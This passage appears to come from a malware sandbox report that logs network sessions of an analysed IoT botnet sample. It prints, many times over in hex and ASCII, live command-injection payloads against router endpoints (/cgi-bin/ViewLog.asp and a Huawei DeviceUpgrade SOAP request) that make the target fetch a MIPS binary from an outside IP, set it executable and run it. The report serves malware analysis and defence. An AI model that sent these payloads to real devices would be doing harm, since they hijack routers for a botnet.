                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:29.402688980 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:06.265793085 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                242192.168.2.154496631.13.191.688080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:53.722491980 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                243192.168.2.156064094.120.104.138080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:53.752966881 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                244192.168.2.155128294.120.173.2478080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:53.758290052 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                245192.168.2.1537434139.186.21.9323
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:54.060688972 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 36 3a 32 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:16:26Auth Result: .


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                246192.168.2.1556352156.253.42.17337215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:54.206006050 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:58.427407026 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:04.571252108 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:16.602905989 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:41.690356016 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:30.840890884 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                247192.168.2.153712231.136.24.388080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:54.499763966 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:57.659461021 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:03.803281069 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
